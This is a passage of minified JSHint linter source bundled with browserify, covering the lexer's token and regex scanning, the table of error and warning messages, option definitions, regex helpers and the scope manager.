null;e+=1,a=!1;while(e<t){n=this.peek(e),r+=n,i+=n;if(u){n===\"]\"&&(this.peek(e-1)!==\"\\\\\"||this.peek(e-2)===\"\\\\\")&&(u=!1),n===\"\\\\\"&&(e+=1,n=this.peek(e),i+=n,r+=n,f()),e+=1;continue}if(n===\"\\\\\"){e+=1,n=this.peek(e),i+=n,r+=n,f();if(n===\"/\"){e+=1;continue}if(n===\"[\"){e+=1;continue}}if(n===\"[\"){u=!0,e+=1;continue}if(n===\"/\"){i=i.substr(0,i.length-1),a=!0,e+=1;break}e+=1}if(!a)return this.trigger(\"error\",{code:\"E015\",line:this.line,character:this.from}),void this.trigger(\"fatal\",{line:this.line,from:this.from});while(e<t){n=this.peek(e);if(!/[gim]/.test(n))break;s.push(n),r+=n,e+=1}try{new RegExp(i,s.join(\"\"))}catch(c){o=!0,this.trigger(\"error\",{code:\"E016\",line:this.line,character:this.char,data:[c.message]})}return{type:l.RegExp,value:r,flags:s,isMalformed:o}},scanNonBreakingSpaces:function(){return o.option.nonbsp?this.input.search(/(\\u00A0)/):-1},scanUnsafeChars:function(){return this.input.search(s.unsafeChars)},next:function(e){this.from=this.char;var t;if(/\\s/.test(this.peek())){t=this.char;while(/\\s/.test(this.peek()))this.from+=1,this.skip()}var n=this.scanComments()||this.scanStringLiteral(e)||this.scanTemplateLiteral(e);return n?n:(n=this.scanRegExp()||this.scanPunctuator()||this.scanKeyword()||this.scanIdentifier()||this.scanNumericLiteral(),n?(this.skip(n.tokenLength||n.value.length),n):null)},nextLine:function(){var e;if(this.line>=this.getLines().length)return!1;this.input=this.getLines()[this.line],this.line+=1,this.char=1,this.from=1;var t=this.input.trim(),n=function(){return r.some(arguments,function(e){return t.indexOf(e)===0})},i=function(){return r.some(arguments,function(e){return t.indexOf(e,t.length-e.length)!==-1})};this.ignoringLinterErrors===!0&&!n(\"/*\",\"//\")&&(!this.inComment||!i(\"*/\"))&&(this.input=\"\"),e=this.scanNonBreakingSpaces(),e>=0&&this.trigger(\"warning\",{code:\"W125\",line:this.line,character:e+1}),this.input=this.input.replace(/\\t/g,o.tab),e=this.scanUnsafeChars(),e>=0&&this.trigger(\"warning\",{code:\"W100\",line:this.line,character:e});if(!this.ignoringLinterErrors&&o.option.maxlen&&o.option.maxlen<this.input.length){var u=this.inComment||n.call(t,\"//\")||n.call(t,\"/*\"),a=!u||!s.maxlenException.test(t);a&&this.trigger(\"warning\",{code:\"W101\",line:this.line,character:this.input.length})}return!0},start:function(){this.nextLine()},token:function(){function n(e,t){if(!e.reserved)return!1;var n=e.meta;if(n&&n.isFutureReservedWord&&o.inES5()){if(!n.es5)return!1;if(n.strictOnly&&!o.option.strict&&!o.isStrict())return!1;if(t)return!1}return!0}var e=h(),t,i=function(t,i,s,u){var a;t!==\"(endline)\"&&t!==\"(end)\"&&(this.prereg=!1);if(t===\"(punctuator)\"){switch(i){case\".\":case\")\":case\"~\":case\"#\":case\"]\":case\"++\":case\"--\":this.prereg=!1;break;default:this.prereg=!0}a=Object.create(o.syntax[i]||o.syntax[\"(error)\"])}if(t===\"(identifier)\"){if(i===\"return\"||i===\"case\"||i===\"typeof\")this.prereg=!0;r.has(o.syntax,i)&&(a=Object.create(o.syntax[i]||o.syntax[\"(error)\"]),n(a,s&&t===\"(identifier)\")||(a=null))}return a||(a=Object.create(o.syntax[t])),a.identifier=t===\"(identifier)\",a.type=a.type||t,a.value=i,a.line=this.line,a.character=this.char,a.from=this.from,a.identifier&&u&&(a.raw_text=u.text||u.value),u&&u.startLine&&u.startLine!==this.line&&(a.startLine=u.startLine),u&&u.context&&(a.context=u.context),u&&u.depth&&(a.depth=u.depth),u&&u.isUnclosed&&(a.isUnclosed=u.isUnclosed),s&&a.identifier&&(a.isProperty=s),a.check=e.check,a}.bind(this);for(;;){if(!this.input.length)return this.nextLine()?i(\"(endline)\",\"\"):this.exhausted?null:(this.exhausted=!0,i(\"(end)\",\"\"));t=this.next(e);if(!t){this.input.length&&(this.trigger(\"error\",{code:\"E024\",line:this.line,character:this.char,data:[this.peek()]}),this.input=\"\");continue}switch(t.type){case l.StringLiteral:return this.triggerAsync(\"String\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value,quote:t.quote},e,function(){return!0}),i(\"(string)\",t.value,null,t);case l.TemplateHead:return this.trigger(\"TemplateHead\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value}),i(\"(template)\",t.value,null,t);case l.TemplateMiddle:return this.trigger(\"TemplateMiddle\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value}),i(\"(template middle)\",t.value,null,t);case l.TemplateTail:return this.trigger(\"TemplateTail\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value}),i(\"(template tail)\",t.value,null,t);case l.NoSubstTemplate:return this.trigger(\"NoSubstTemplate\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value}),i(\"(no subst template)\",t.value,null,t);case l.Identifier:this.triggerAsync(\"Identifier\",{line:this.line,\"char\":this.char,from:this.form,name:t.value,raw_name:t.text,isProperty:o.tokens.curr.id===\".\"},e,function(){return!0});case l.Keyword:case l.NullLiteral:case l.BooleanLiteral:return i(\"(identifier)\",t.value,o.tokens.curr.id===\".\",t);case l.NumericLiteral:return t.isMalformed&&this.trigger(\"warning\",{code:\"W045\",line:this.line,character:this.char,data:[t.value]}),this.triggerAsync(\"warning\",{code:\"W114\",line:this.line,character:this.char,data:[\"0x-\"]},e,function(){return t.base===16&&o.jsonMode}),this.triggerAsync(\"warning\",{code:\"W115\",line:this.line,character:this.char},e,function(){return o.isStrict()&&t.base===8&&t.isLegacy}),this.trigger(\"Number\",{line:this.line,\"char\":this.char,from:this.from,value:t.value,base:t.base,isMalformed:t.malformed}),i(\"(number)\",t.value);case l.RegExp:return i(\"(regexp)\",t.value);case l.Comment:o.tokens.curr.comment=!0;if(t.isSpecial)return{id:\"(comment)\",value:t.value,body:t.body,type:t.commentType,isSpecial:t.isSpecial,line:this.line,character:this.char,from:this.from};break;case\"\":break;default:return i(\"(punctuator)\",t.value)}}}},n.Lexer=p,n.Context=c},{\"../data/ascii-identifier-data.js\":\"/node_modules/jshint/data/ascii-identifier-data.js\",\"../lodash\":\"/node_modules/jshint/lodash.js\",\"./reg.js\":\"/node_modules/jshint/src/reg.js\",\"./state.js\":\"/node_modules/jshint/src/state.js\",events:\"/node_modules/browserify/node_modules/events/events.js\"}],\"/node_modules/jshint/src/messages.js\":[function(e,t,n){\"use strict\";var r=e(\"../lodash\"),i={E001:\"Bad option: '{a}'.\",E002:\"Bad option value.\",E003:\"Expected a JSON value.\",E004:\"Input is neither a string nor an array of strings.\",E005:\"Input is empty.\",E006:\"Unexpected early end of program.\",E007:'Missing \"use strict\" statement.',E008:\"Strict violation.\",E009:\"Option 'validthis' can't be used in a global scope.\",E010:\"'with' is not allowed in strict mode.\",E011:\"'{a}' has already been declared.\",E012:\"const '{a}' is initialized to 'undefined'.\",E013:\"Attempting to override '{a}' which is a constant.\",E014:\"A regular expression literal can be confused with '/='.\",E015:\"Unclosed regular expression.\",E016:\"Invalid regular expression.\",E017:\"Unclosed comment.\",E018:\"Unbegun comment.\",E019:\"Unmatched '{a}'.\",E020:\"Expected '{a}' to match '{b}' from line {c} and instead saw '{d}'.\",E021:\"Expected '{a}' and instead saw '{b}'.\",E022:\"Line breaking error '{a}'.\",E023:\"Missing '{a}'.\",E024:\"Unexpected '{a}'.\",E025:\"Missing ':' on a case clause.\",E026:\"Missing '}' to match '{' from line {a}.\",E027:\"Missing ']' to match '[' from line {a}.\",E028:\"Illegal comma.\",E029:\"Unclosed string.\",E030:\"Expected an identifier and instead saw '{a}'.\",E031:\"Bad assignment.\",E032:\"Expected a small integer or 'false' and instead saw '{a}'.\",E033:\"Expected an operator and instead saw '{a}'.\",E034:\"get/set are ES5 features.\",E035:\"Missing property name.\",E036:\"Expected to see a statement and instead saw a block.\",E037:null,E038:null,E039:\"Function declarations are not invocable. Wrap the whole function invocation in parens.\",E040:\"Each value should have its own case label.\",E041:\"Unrecoverable syntax error.\",E042:\"Stopping.\",E043:\"Too many errors.\",E044:null,E045:\"Invalid for each loop.\",E046:\"A yield statement shall be within a generator function (with syntax: `function*`)\",E047:null,E048:\"{a} declaration not directly within block.\",E049:\"A {a} cannot be named '{b}'.\",E050:\"Mozilla requires the yield expression to be parenthesized here.\",E051:null,E052:\"Unclosed template literal.\",E053:\"Export declaration must be in global scope.\",E054:\"Class properties must be methods. Expected '(' but instead saw '{a}'.\",E055:\"The '{a}' option cannot be set after any executable code.\",E056:\"'{a}' was used before it was declared, which is illegal for '{b}' variables.\",E057:\"Invalid meta property: '{a}.{b}'.\",E058:\"Missing semicolon.\"},s={W001:\"'hasOwnProperty' is a really bad name.\",W002:\"Value of '{a}' may be overwritten in IE 8 and earlier.\",W003:\"'{a}' was used before it was defined.\",W004:\"'{a}' is already defined.\",W005:\"A dot following a number can be confused with a decimal point.\",W006:\"Confusing minuses.\",W007:\"Confusing plusses.\",W008:\"A leading decimal point can be confused with a dot: '{a}'.\",W009:\"The array literal notation [] is preferable.\",W010:\"The object literal notation {} is preferable.\",W011:null,W012:null,W013:null,W014:\"Bad line breaking before '{a}'.\",W015:null,W016:\"Unexpected use of '{a}'.\",W017:\"Bad operand.\",W018:\"Confusing use of '{a}'.\",W019:\"Use the isNaN function to compare with NaN.\",W020:\"Read only.\",W021:\"Reassignment of '{a}', which is is a {b}. Use 'var' or 'let' to declare bindings that may change.\",W022:\"Do not assign to the exception parameter.\",W023:\"Expected an identifier in an assignment and instead saw a function invocation.\",W024:\"Expected an identifier and instead saw '{a}' (a reserved word).\",W025:\"Missing name in function declaration.\",W026:\"Inner functions should be listed at the top of the outer function.\",W027:\"Unreachable '{a}' after '{b}'.\",W028:\"Label '{a}' on {b} statement.\",W030:\"Expected an assignment or function call and instead saw an expression.\",W031:\"Do not use 'new' for side effects.\",W032:\"Unnecessary semicolon.\",W033:\"Missing semicolon.\",W034:'Unnecessary directive \"{a}\".',W035:\"Empty block.\",W036:\"Unexpected /*member '{a}'.\",W037:\"'{a}' is a statement label.\",W038:\"'{a}' used out of scope.\",W039:\"'{a}' is not allowed.\",W040:\"Possible strict violation.\",W041:\"Use '{a}' to compare with '{b}'.\",W042:\"Avoid EOL escaping.\",W043:\"Bad escaping of EOL. Use option multistr if needed.\",W044:\"Bad or unnecessary escaping.\",W045:\"Bad number '{a}'.\",W046:\"Don't use extra leading zeros '{a}'.\",W047:\"A trailing decimal point can be confused with a dot: '{a}'.\",W048:\"Unexpected control character in regular expression.\",W049:\"Unexpected escaped character '{a}' in regular expression.\",W050:\"JavaScript URL.\",W051:\"Variables should not be deleted.\",W052:\"Unexpected '{a}'.\",W053:\"Do not use {a} as a constructor.\",W054:\"The Function constructor is a form of eval.\",W055:\"A constructor name should start with an uppercase letter.\",W056:\"Bad constructor.\",W057:\"Weird construction. Is 'new' necessary?\",W058:\"Missing '()' invoking a constructor.\",W059:\"Avoid arguments.{a}.\",W060:\"document.write can be a form of eval.\",W061:\"eval can be harmful.\",W062:\"Wrap an immediate function invocation in parens to assist the reader in understanding that the expression is the result of a function, and not the function itself.\",W063:\"Math is not a function.\",W064:\"Missing 'new' prefix when invoking a constructor.\",W065:\"Missing radix parameter.\",W066:\"Implied eval. Consider passing a function instead of a string.\",W067:\"Bad invocation.\",W068:\"Wrapping non-IIFE function literals in parens is unnecessary.\",W069:\"['{a}'] is better written in dot notation.\",W070:\"Extra comma. (it breaks older versions of IE)\",W071:\"This function has too many statements. ({a})\",W072:\"This function has too many parameters. ({a})\",W073:\"Blocks are nested too deeply. ({a})\",W074:\"This function's cyclomatic complexity is too high. ({a})\",W075:\"Duplicate {a} '{b}'.\",W076:\"Unexpected parameter '{a}' in get {b} function.\",W077:\"Expected a single parameter in set {a} function.\",W078:\"Setter is defined without getter.\",W079:\"Redefinition of '{a}'.\",W080:\"It's not necessary to initialize '{a}' to 'undefined'.\",W081:null,W082:\"Function declarations should not be placed in blocks. Use a function expression or move the statement to the top of the outer function.\",W083:\"Don't make functions within a loop.\",W084:\"Assignment in conditional expression\",W085:\"Don't use 'with'.\",W086:\"Expected a 'break' statement before '{a}'.\",W087:\"Forgotten 'debugger' statement?\",W088:\"Creating global 'for' variable. Should be 'for (var {a} ...'.\",W089:\"The body of a for in should be wrapped in an if statement to filter unwanted properties from the prototype.\",W090:\"'{a}' is not a statement label.\",W091:null,W093:\"Did you mean to return a conditional instead of an assignment?\",W094:\"Unexpected comma.\",W095:\"Expected a string and instead saw {a}.\",W096:\"The '{a}' key may produce unexpected results.\",W097:'Use the function form of \"use strict\".',W098:\"'{a}' is defined but never used.\",W099:null,W100:\"This character may get silently deleted by one or more browsers.\",W101:\"Line is too long.\",W102:null,W103:\"The '{a}' property is deprecated.\",W104:\"'{a}' is available in ES{b} (use 'esversion: {b}') or Mozilla JS extensions (use moz).\",W105:\"Unexpected {a} in '{b}'.\",W106:\"Identifier '{a}' is not in camel case.\",W107:\"Script URL.\",W108:\"Strings must use doublequote.\",W109:\"Strings must use singlequote.\",W110:\"Mixed double and single quotes.\",W112:\"Unclosed string.\",W113:\"Control character in string: {a}.\",W114:\"Avoid {a}.\",W115:\"Octal literals are not allowed in strict mode.\",W116:\"Expected '{a}' and instead saw '{b}'.\",W117:\"'{a}' is not defined.\",W118:\"'{a}' is only available in Mozilla JavaScript extensions (use moz option).\",W119:\"'{a}' is only available in ES{b} (use 'esversion: {b}').\",W120:\"You might be leaking a variable ({a}) here.\",W121:\"Extending prototype of native object: '{a}'.\",W122:\"Invalid typeof value '{a}'\",W123:\"'{a}' is already defined in outer scope.\",W124:\"A generator function shall contain a yield statement.\",W125:\"This line contains non-breaking spaces: http://jshint.com/doc/options/#nonbsp\",W126:\"Unnecessary grouping operator.\",W127:\"Unexpected use of a comma operator.\",W128:\"Empty array elements require elision=true.\",W129:\"'{a}' is defined in a future version of JavaScript. Use a different variable name to avoid migration issues.\",W130:\"Invalid element after rest element.\",W131:\"Invalid parameter after rest parameter.\",W132:\"`var` declarations are forbidden. Use `let` or `const` instead.\",W133:\"Invalid for-{a} loop left-hand-side: {b}.\",W134:\"The '{a}' option is only available when linting ECMAScript {b} code.\",W135:\"{a} may not be supported by non-browser environments.\",W136:\"'{a}' must be in function scope.\",W137:\"Empty destructuring.\",W138:\"Regular parameters should not come after default parameters.\"},o={I001:\"Comma warnings can be turned off with 'laxcomma'.\",I002:null,I003:\"ES5 option is now set per default\"};n.errors={},n.warnings={},n.info={},r.each(i,function(e,t){n.errors[t]={code:t,desc:e}}),r.each(s,function(e,t){n.warnings[t]={code:t,desc:e}}),r.each(o,function(e,t){n.info[t]={code:t,desc:e}})},{\"../lodash\":\"/node_modules/jshint/lodash.js\"}],\"/node_modules/jshint/src/name-stack.js\":[function(e,t,n){\"use strict\";function r(){this._stack=[]}Object.defineProperty(r.prototype,\"length\",{get:function(){return this._stack.length}}),r.prototype.push=function(){this._stack.push(null)},r.prototype.pop=function(){this._stack.pop()},r.prototype.set=function(e){this._stack[this.length-1]=e},r.prototype.infer=function(){var e=this._stack[this.length-1],t=\"\",n;if(!e||e.type===\"class\")e=this._stack[this.length-2];return e?(n=e.type,n!==\"(string)\"&&n!==\"(number)\"&&n!==\"(identifier)\"&&n!==\"default\"?\"(expression)\":(e.accessorType&&(t=e.accessorType+\" \"),t+e.value)):\"(empty)\"},t.exports=r},{}],\"/node_modules/jshint/src/options.js\":[function(e,t,n){\"use strict\";n.bool={enforcing:{bitwise:!0,freeze:!0,camelcase:!0,curly:!0,eqeqeq:!0,futurehostile:!0,notypeof:!0,es3:!0,es5:!0,forin:!0,funcscope:!0,immed:!0,iterator:!0,newcap:!0,noarg:!0,nocomma:!0,noempty:!0,nonbsp:!0,nonew:!0,undef:!0,singleGroups:!1,varstmt:!1,enforceall:!1},relaxing:{asi:!0,multistr:!0,debug:!0,boss:!0,evil:!0,globalstrict:!0,plusplus:!0,proto:!0,scripturl:!0,sub:!0,supernew:!0,laxbreak:!0,laxcomma:!0,validthis:!0,withstmt:!0,moz:!0,noyield:!0,eqnull:!0,lastsemic:!0,loopfunc:!0,expr:!0,esnext:!0,elision:!0},environments:{mootools:!0,couch:!0,jasmine:!0,jquery:!0,node:!0,qunit:!0,rhino:!0,shelljs:!0,prototypejs:!0,yui:!0,mocha:!0,module:!0,wsh:!0,worker:!0,nonstandard:!0,browser:!0,browserify:!0,devel:!0,dojo:!0,typed:!0,phantom:!0},obsolete:{onecase:!0,regexp:!0,regexdash:!0}},n.val={maxlen:!1,indent:!1,maxerr:!1,predef:!1,globals:!1,quotmark:!1,scope:!1,maxstatements:!1,maxdepth:!1,maxparams:!1,maxcomplexity:!1,shadow:!1,strict:!0,unused:!0,latedef:!1,ignore:!1,ignoreDelimiters:!1,esversion:5},n.inverted={bitwise:!0,forin:!0,newcap:!0,plusplus:!0,regexp:!0,undef:!0,eqeqeq:!0,strict:!0},n.validNames=Object.keys(n.val).concat(Object.keys(n.bool.relaxing)).concat(Object.keys(n.bool.enforcing)).concat(Object.keys(n.bool.obsolete)).concat(Object.keys(n.bool.environments)),n.renamed={eqeq:\"eqeqeq\",windows:\"wsh\",sloppy:\"strict\"},n.removed={nomen:!0,onevar:!0,passfail:!0,white:!0,gcl:!0,smarttabs:!0,trailing:!0},n.noenforceall={varstmt:!0,strict:!0}},{}],\"/node_modules/jshint/src/reg.js\":[function(e,t,n){\"use strict\";n.unsafeString=/@cc|<\\/?|script|\\]\\s*\\]|<\\s*!|&lt/i,n.unsafeChars=/[\\u0000-\\u001f\\u007f-\\u009f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/,n.needEsc=/[\\u0000-\\u001f&<\"\\/\\\\\\u007f-\\u009f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/,n.needEscGlobal=/[\\u0000-\\u001f&<\"\\/\\\\\\u007f-\\u009f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,n.starSlash=/\\*\\//,n.identifier=/^([a-zA-Z_$][a-zA-Z0-9_$]*)$/,n.javascriptURL=/^(?:javascript|jscript|ecmascript|vbscript|livescript)\\s*:/i,n.fallsThrough=/^\\s*falls?\\sthrough\\s*$/,n.maxlenException=/^(?:(?:\\/\\/|\\/\\*|\\*) ?)?[^ ]+$/},{}],\"/node_modules/jshint/src/scope-manager.js\":[function(e,t,n){\"use strict\";var r=e(\"../lodash\"),i=e(\"events\"),s={},o=function(e,t,n,o){function f(e){u={\"(labels)\":Object.create(null),\"(usages)\":Object.create(null),\"(breakLabels)\":Object.create(null),\"(parent)\":u,\"(type)\":e,\"(params)\":e===\"functionparams\"||e===\"catchparams\"?[]:null},a.push(u)}function v(e,t){d.emit(\"warning\",{code:e,token:t,data:r.slice(arguments,2)})}function m(e,t){d.emit(\"warning\",{code:e,token:t,data:r.slice(arguments,2)})}function g(e){u[\"(usages)\"][e]||(u[\"(usages)\"][e]={\"(modified)\":[],\"(reassigned)\":[],\"(tokens)\":[]})}function w(){if(u[\"(type)\"]===\"functionparams\"){E();return}var e=u[\"(labels)\"];for(var t in e)e[t]&&e[t][\"(type)\"]!==\"exception\"&&e[t][\"(unused)\"]&&b(t,e[t][\"(token)\"],\"var\")}function E(){var t=u[\"(params)\"];if(!t)return;var n=t.pop(),r;while(n){var i=u[\"(labels)\"][n];r=y(e.funct[\"(unusedOption)\"]);if(n===\"undefined\")return;if(i[\"(unused)\"])b(n,i[\"(token)\"],\"param\",e.funct[\"(unusedOption)\"]);else if(r===\"last-param\")return;n=t.pop()}}function S(e){for(var t=a.length-1;t>=0;--t){var n=a[t][\"(labels)\"];if(n[e])return n}}function x(e){for(var t=a.length-1;t>=0;t--){var n=a[t];if(n[\"(usages)\"][e])return n[\"(usages)\"][e];if(n===l)break}return!1}function T(t,n){if(e.option.shadow!==\"outer\")return;var r=l[\"(type)\"]===\"global\",i=u[\"(type)\"]===\"functionparams\",s=!r;for(var o=0;o<a.length;o++){var f=a[o];!i&&a[o+1]===l&&(s=!1),s&&f[\"(labels)\"][t]&&v(\"W123\",n,t),f[\"(breakLabels)\"][t]&&v(\"W123\",n,t)}}function N(t,n,r){e.option.latedef&&(e.option.latedef===!0&&t===\"function\"||t!==\"function\")&&v(\"W003\",r,n)}var u,a=[];f(\"global\"),u[\"(predefined)\"]=t;var l=u,c=Object.create(null),h=Object.create(null),p=[],d=new i.EventEmitter,y=function(t){return t===undefined&&(t=e.option.unused),t===!0&&(t=\"last-param\"),t},b=function(e,t,n,r){var i=t.line,s=t.from,o=t.raw_text||e;r=y(r);var u={vars:[\"var\"],\"last-param\":[\"var\",\"param\"],strict:[\"var\",\"param\",\"last-param\"]};r&&u[r]&&u[r].indexOf(n)!==-1&&v(\"W098\",{line:i,from:s},o),(r||n===\"var\")&&p.push({name:e,line:i,character:s})},C={on:function(e,t){e.split(\" \").forEach(function(e){d.on(e,t)})},isPredefined:function(e){return!this.has(e)&&r.has(a[0][\"(predefined)\"],e)},stack:function(e){var t=u;f(e),!e&&t[\"(type)\"]===\"functionparams\"&&(u[\"(isFuncBody)\"]=!0,u[\"(context)\"]=l,l=u)},unstack:function(){var t=a.length>1?a[a.length-2]:null,n=u===l,i=u[\"(type)\"]===\"functionparams\",f=u[\"(type)\"]===\"functionouter\",p,d,g=u[\"(usages)\"],y=u[\"(labels)\"],E=Object.keys(g);g.__proto__&&E.indexOf(\"__proto__\")===-1&&E.push(\"__proto__\");for(p=0;p<E.length;p++){var S=E[p],x=g[S],T=y[S];if(T){var N=T[\"(type)\"];if(T[\"(useOutsideOfScope)\"]&&!e.option.funcscope){var C=x[\"(tokens)\"];if(C)for(d=0;d<C.length;d++)T[\"(function)\"]===C[d][\"(function)\"]&&m(\"W038\",C[d],S)}u[\"(labels)\"][S][\"(unused)\"]=!1;if(N===\"const\"&&x[\"(modified)\"])for(d=0;d<x[\"(modified)\"].length;d++)m(\"E013\",x[\"(modified)\"][d],S);if((N===\"function\"||N===\"class\")&&x[\"(reassigned)\"])for(d=0;d<x[\"(reassigned)\"].length;d++)m(\"W021\",x[\"(reassigned)\"][d],S,N);continue}f&&(e.funct[\"(isCapturing)\"]=!0);if(t)if(!t[\"(usages)\"][S])t[\"(usages)\"][S]=x,n&&(t[\"(usages)\"][S][\"(onlyUsedSubFunction)\"]=!0);else{var k=t[\"(usages)\"][S];k[\"(modified)\"]=k[\"(modified)\"].concat(x[\"(modified)\"]),k[\"(tokens)\"]=k[\"(tokens)\"].concat(x[\"(tokens)\"]),k[\"(reassigned)\"]=k[\"(reassigned)\"].concat(x[\"(reassigned)\"]),k[\"(onlyUsedSubFunction)\"]=!1}else if(typeof u[\"(predefined)\"][S]==\"boolean\"){delete o[S],c[S]=s;if(u[\"(predefined)\"][S]===!1&&x[\"(reassigned)\"])for(d=0;d<x[\"(reassigned)\"].length;d++)v(\"W020\",x[\"(reassigned)\"][d])}else if(x[\"(tokens)\"])for(d=0;d<x[\"(tokens)\"].length;d++){var L=x[\"(tokens)\"][d];L.forgiveUndef||(e.option.undef&&!L.ignoreUndef&&v(\"W117\",L,S),h[S]?h[S].line.push(L.line):h[S]={name:S,line:[L.line]})}}t||Object.keys(o).forEach(function(e){b(e,o[e],\"var\")});if(t&&!n&&!i&&!f){var A=Object.keys(y);for(p=0;p<A.length;p++){var O=A[p];!y[O][\"(blockscoped)\"]&&y[O][\"(type)\"]!==\"exception\"&&!this.funct.has(O,{excludeCurrent:!0})&&(t[\"(labels)\"][O]=y[O],l[\"(type)\"]!==\"global\"&&(t[\"(labels)\"][O][\"(useOutsideOfScope)\"]=!0),delete y[O])}}w(),a.pop(),n&&(l=a[r.findLastIndex(a,function(e){return e[\"(isFuncBody)\"]||e[\"(type)\"]===\"global\"})]),u=t},addParam:function(t,n,i){i=i||\"param\";if(i===\"exception\"){var s=this.funct.labeltype(t);s&&s!==\"exception\"&&(e.option.node||v(\"W002\",e.tokens.next,t))}r.has(u[\"(labels)\"],t)?u[\"(labels)\"][t].duplicated=!0:(T(t,n,i),u[\"(labels)\"][t]={\"(type)\":i,\"(token)\":n,\"(unused)\":!0},u[\"(params)\"].push(t));if(r.has(u[\"(usages)\"],t)){var o=u[\"(usages)\"][t];o[\"(onlyUsedSubFunction)\"]?N(i,t,n):v(\"E056\",n,t,i)}},validateParams:function(){if(l[\"(type)\"]===\"global\")return;var t=e.isStrict(),n=l[\"(parent)\"];if(!n[\"(params)\"])return;n[\"(params)\"].forEach(function(r){var i=n[\"(labels)\"][r];i&&i.duplicated&&(t?v(\"E011\",i[\"(token)\"],r):e.option.shadow!==!0&&v(\"W004\",i[\"(token)\"],r))})},getUsedOrDefinedGlobals:function(){var e=Object.keys(c);return c.__proto__===s&&e.indexOf(\"__proto__\")===-1&&e.push(\"__proto__\"),e},getImpliedGlobals:function(){var e=r.values(h),t=!1;return h.__proto__&&(t=e.some(function(e){return e.name===\"__proto__\"}),t||e.push(h.__proto__)),e},getUnuseds:function(){return p},has:function(e){return Boolean(S(e))},labeltype:function(e){var t=S(e);return t?t[e][\"(type)\"]:null},addExported:function(e){var t=a[0][\"(labels)\"];if(r.has(o,e))delete o[e];else if(r.has(t,e))t[e][\"(unused)\"]=!1;else{for(var i=1;i<a.length;i++){var s=a[i];if(!!s[\"(type)\"])break;if(r.has(s[\"(labels)\"],e)&&!s[\"(labels)\"][e][\"(blockscoped)\"]){s[\"(labels)\"][e][\"(unused)\"]=!1;return}}n[e]=!0}},setExported:function(e,t){this.block.use(e,t)},addlabel:function(t,i){var o=i.type,a=i.token,f=o===\"let\"||o===\"const\"||o===\"class\",h=(f?u:l)[\"(type)\"]===\"global\"&&r.has(n,t);T(t,a,o);if(f){var p=u[\"(labels)\"][t];!p&&u===l&&u[\"(type)\"]!==\"global\"&&(p=!!l[\"(parent)\"][\"(labels)\"][t]);if(!p&&u[\"(usages)\"][t]){var d=u[\"(usages)\"][t];d[\"(onlyUsedSubFunction)\"]?N(o,t,a):v(\"E056\",a,t,o)}p?v(\"E011\",a,t):e.option.shadow===\"outer\"&&C.funct.has(t)&&v(\"W004\",a,t),C.block.add(t,o,a,!h)}else{var m=C.funct.has(t);!m&&x(t)&&N(o,t,a),C.funct.has(t,{onlyBlockscoped:!0})?v(\"E011\",a,t):e.option.shadow!==!0&&m&&t!==\"__proto__\"&&l[\"(type)\"]!==\"global\"&&v(\"W004\",a,t),C.funct.add(t,o,a,!h),l[\"(type)\"]===\"global\"&&(c[t]=s)}},funct:{labeltype:function(e,t){var n=t&&t.onlyBlockscoped,r=t&&t.excludeParams,i=a.length-(t&&t.excludeCurrent?2:1);for(var s=i;s>=0;s--){var o=a[s];if(o[\"(labels)\"][e]&&(!n||o[\"(labels)\"][e][\"(blockscoped)\"]))return o[\"(labels)\"][e][\"(type)\"];var u=r?a[s-1]:o;if(u&&u[\"(type)\"]===\"functionparams\")return null}return null},hasBreakLabel:function(e){for(var t=a.length-1;t>=0;t--){var n=a[t];if(n[\"(breakLabels)\"][e])return!0;if(n[\"(type)\"]===\"functionparams\")return!1}return!1},has:function(e,t){return Boolean(this.labeltype(e,t))},add:function(e,t,n,r){u[\"(labels)\"][e]={\"(type)\":t,\"(token)\":n,\"(blockscoped)\":!1,\"(function)\":l,\"(unused)\":r}}},block:{isGlobal:function(){return u[\"(type)\"]===\"global\"},use:function(t,n){var r=l[\"(parent)\"];r&&r[\"(labels)\"][t]&&r[\"(labels)\"][t][\"(type)\"]===\"param\"&&(C.funct.has(t,{excludeParams:!0,onlyBlockscoped:!0})||(r[\"(labels)\"][t][\"(unused)\"]=!1)),n&&(e.ignored.W117||e.option.undef===!1)&&(n.ignoreUndef=!0),g(t),n&&(n[\"(function)\"]=l,u[\"(usages)\"][t][\"(tokens)\"].push(n))},reassign:function(e,t){this.modify(e,t),u[\"(usages)\"][e][\"(reassigned)\"].push(t)},modify:function(e,t){g(e),u[\"(usages)\"][e][\"(modified)\"].push(t)},add:function(e,t,n,r){u[\"(labels)\"][e]={\"(type)\":t,\"(token)\":n,\"(blockscoped)\":!0,\"(unused)\":r}},addBreakLabel:function(t,n){var r=n.token;C.funct.hasBreakLabel(t)?v(\"E011\",r,t):e.option.shadow===\"outer\"&&(C.funct.has(t)?v(\"W004\",r,t):T(t,r)),u[\"(breakLabels)\"][t]=r}}};return C};t.exports=o},{\"../lodash\":\"/node_modules/jshint/lodash.js\",events:\"/node_modules/browserify/node_modules/events/events.js\"}],\"/node_modules/jshint/src/state.js\":[function(e,t,n){\"use strict\";var r=e(\"./name-stack.js\"),i={syntax:{},isStrict:function(){return this.directive[\"use strict\"]||this.inClassBody||this.option.module||this.option.strict===\"implied\"},inMoz:function(){return this.option.moz},inES6:function(){return this.option.moz||this.option.esversion>=6},inES5:function(e){return e?(!this.option.esversion||this.option.esversion===5)&&!this.option.moz:!this.option.esversion||this.option.esversion>=5||this.option.moz},reset:function(){this.tokens={prev:null,next:null,curr:null},this.option={},this.funct=null,this.ignored={},this.directive={},this.jsonMode=!1,this.jsonWarnings=[],this.lines=[],this.tab=\"\",this.cache={},this.ignoredLines={},this.forinifcheckneeded=!1,this.nameStack=new 